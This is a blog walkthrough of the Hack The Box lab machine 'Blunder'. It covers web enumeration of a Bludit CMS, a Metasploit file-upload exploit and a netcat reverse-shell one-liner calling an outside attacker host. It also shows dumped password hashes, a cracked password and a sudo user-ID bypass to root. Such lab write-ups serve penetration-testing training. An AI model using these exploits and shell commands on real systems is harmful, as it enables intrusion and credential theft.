23rd November 2020
Hack The Box Write-Up Blunder

Hack The Box Write-Up Blunder –

Persistence is very important. You should not give up unless you are forced to give up

Elon Musk

About Blunder

In this post, I’m writing a write-up for the machine Blunder from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Blunder is an ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10, and submitting the root flag your points will be raised by 15.

The results of the port scan show only that the HTTP port is open and that there is a web service running on that port. After checking the website I found a login portal and I found that this website is running the Bludit CMS. With Gobuster fuzzing for the TXT-extension, I found a note with the username to log in. After carefully reading the blog articles I got the password for this user and got the initial foothold on this box.

The running version of Bludit is 3.2.9. This version contains a Directory Traversal Image File Upload vulnerability. Metasploit has a module for this vulnerability and through this module, I got a shell as www-data on this box. I found that the update for Bludit is already placed in the root directory of the Webservice and through the files of this update I found a SHA1 hashed password for the user Hugo. After cracking this password, I switched from the user www-data to Hugo and got user access to this box.

This is by far the fastest root I have ever done. After getting the shell as Hugo, I checked his privileges. It turns out that it has NOT the privileges to run /bin/bash as root. Through Exploit-DB I found a way to exploit this deny permission and get a shell as root.

Machine Info

Hack The Box Write-Up Blunder
Hack The Box Blunder Machine Info
Hack The Box Write-Up Blunder
Machine Info and maker


Port Scan

As always, I start the recon with an port scan with Nmap.

~$ nmap -sC -sV -oA ./nmap/blunder.txt

The results.

# Nmap 7.80 scan initiated Sat May 30 19:02:08 2020 as: nmap -sC -sV -oA ./nmap/blunder.txt
Nmap scan report for
Host is up (0.068s latency).
Not shown: 998 filtered ports
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 30 19:02:35 2020 -- 1 IP address (1 host up) scanned in 26.57 seconds

I got one closed port at 21/tcp and one open port at 80/tcp. It seems that there is running a website with the name Blunder | A blunder of interesting facts on port 80. Let’s start with enumerating the web service, as this is the only open port for now.

Enumeration Web Server

I visited the website through the URL and ended up on this blog page.

Hack The Box Blunder webpage http

I’ve checked the website read the pages on the website and read the source code, nothing interesting right now. Manually I’ve found a login page on

Hack The Box Write-Up Blunder admin page

The interesting part on this login page is the name BLUDIT, above the login form. I searched online for BLUDIT and found that Bludit is a flat-file CMS, according to the website of Bludit: https://www.bludit.com.

On the documentation webpage of Bludit, I found the folder structure of this CMS, in the documentation, I found that /bl-content/databases/users.php directory holds the users’ database, but unfortunately, I can’t access this PHP-file through the web browser.

I need a username and password for the login form. I tried some default usernames and passwords, but none of them are working. Let’s fuzzing this website for files. I used Gobuster for this one. I invoked the command below and used the wordlist directory big.txt. I go for the TXT-extension. I invoked this command:

~$ gobuster dir -x txt -b 404,403 -w /usr/share/wfuzz/wordlist/general/big.txt -u "" --wildcard

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:           
[+] Threads:                 10
[+] Wordlist:                /usr/share/wfuzz/wordlist/general/big.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.0.1
[+] Extensions:              txt
[+] Timeout:                 10s
2020/06/01 07:36:32 Starting gobuster
/0 (Status: 200)
/about (Status: 200)
/admin (Status: 301)
/cgi-bin/ (Status: 301)
/todo.txt (Status: 200)
2020/06/01 06:40:53 Finished

After let gobuster running for a couple of minutes, I ended up with one useful txt-file, named todo.txt. Well, at least I’ve got something that might mean I’m on my way for the foothold! Let’s read the file.

~$ curl
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

I got the username fergus, there is no password listed in this file. I need to search further. Fuzzing is not finding any interesting files more. I have also searched for PHP-files, checked robots.txt, and so on, but nothing useful there.


Found password from fergus

I checked which version of Bludit is installed through the source code and it seems that version 3.9.2 of Bludit is installed on this server.

Hack The Box Blunder Write-up Bludit version 3.9.2
Bludit version 3.9.2 from the source code

After being stuck for a while I found an article (https://rastating.github.io/bludit-brute-force-mitigation-bypass/) about Bludit Brute Force Mitigation Bypass vulnerability. Versions before and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. I have downloaded the Python exploit to my machine, created a wordlist with CeWL, modified the Python script and I’m found myself stuck again for a couple of hours.

After being stuck again, I want back to the homepage, and starting critically reading the blog posts, I noticed a typing error in the article and this turned out to be the password of Fergus. The password: RolandDeschain.

Directory Traversal Image File Upload

I searched for known vulnerabilities and found that this version is also vulnerable for Directory Traversal Image File Upload (CVE-2019-16113) => https://www.exploit-db.com/exploits/47699. Metasploit has a module for this, so I used Metasploit for this part.

~$ msfconsole
msf5 exploit(linux/http/bludit_upload_images_exec) > set bluditpass RolandDeschain
bluditpass => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > set bludituser fergus
bludituser => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set rhosts
rhosts =>
msf5 exploit(linux/http/bludit_upload_images_exec) > run

[*] Started reverse TCP handler on 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading FQEmXdJnEV.png...
[*] Uploading .htaccess...
[*] Executing FQEmXdJnEV.png...
[*] Sending stage (38288 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-06-01 14:32:45 +0000
[+] Deleted .htaccess

meterpreter > shell
Process 28067 created.
Channel 0 created.

And I got a shell on this box and I’m logged in as www-data. I created a reverse shell and directly upgraded the shell. I directly checked which user accounts exist on this box and it turns out that there are two user accounts listed Hugo and Shaun.

~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 5555 >/tmp/f
~$ python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/home# ls
hugo  shaun

Through the documentation, I know that the bl-content/databases/users.php holds the usernames and passwords from the user accounts. I checked the this file and found two hashes.

[email protected]:/var/www/bludit-3.9.2/bl-content$ cd databases
cd databases
[email protected]:/var/www/bludit-3.9.2/bl-content/databases$ ls
categories.php  plugins       site.php    tags.php
pages.php       security.php  syslog.php  users.php
[email protected]:/var/www/bludit-3.9.2/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
}[email protected]:/var/www/bludit-3.9.2/bl-content/databases$

For some reason, the cracking of passwords is not working. I checked the contents of the directory /var/www/ again and found another directory with the name bludit-3.10.0a, maybe the admin is planning an update of Bludit? I checked the users.php in this directory and it is containing a hashed password from the user Hugo.

[email protected]:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
[email protected]:/var/www/bludit-3.10.0a/bl-content/databases$

I tried first cracking this password with John the Ripper, but John is keeping outputting error messages, so I switched to https://crackstation.net and after cracking the password, I get the password: Password120.

Hack The Box Write-Up Blunder cracked password hugo

I switched to the user Hugo and got access to user.txt

[email protected]:/var/www/bludit-3.9.2/bl-content/tmp$ su - hugo
su - hugo
Password: Password120

[email protected]:~$ cat user.txt
cat user.txt
[email protected]:~$ 

Privilege Escalation

Own Blunder

The next step is to escalate privileges to root. First, which rights the Hugo user account has on this box.

[email protected]:~$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
[email protected]:~$

This means that user Hugo does NOT have the permission to run /bin/bash as root. I used Google and the first hit https://www.exploit-db.com/exploits/47502 was the way to escalate the permission to root. This is by far, the fastest root ever for me:-)

[email protected]:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
[email protected]:/home/hugo# whoami
[email protected]:/home/hugo# cat /root/root.txt
cat /root/root.txt

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Happy hacking!


I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

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2 thoughts on “Hack The Box Write-Up Blunder –

  1. Hi f4153p20m153,

    Thanks for the comment! I have used CeWL to create the wordlist. It’s just a great tool! If you have any other suggestions, do not hesitate to let me know!


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